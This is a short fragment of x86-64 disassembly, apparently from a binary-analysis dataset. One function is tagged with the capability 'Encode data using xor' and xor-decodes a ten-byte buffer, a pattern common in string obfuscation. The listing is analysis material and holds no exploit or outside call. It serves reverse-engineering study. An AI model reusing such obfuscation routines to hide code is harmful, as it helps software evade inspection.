jmp 0x1400784dd
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret

Function at 0x140078e50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xb], 0
je 0x140078e73
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 6]
xor byte [rcx + rax], dl
inc rax
cmp rax, 0xa
jb 0x140078e60
mov byte [rcx + 0xb], 0
ret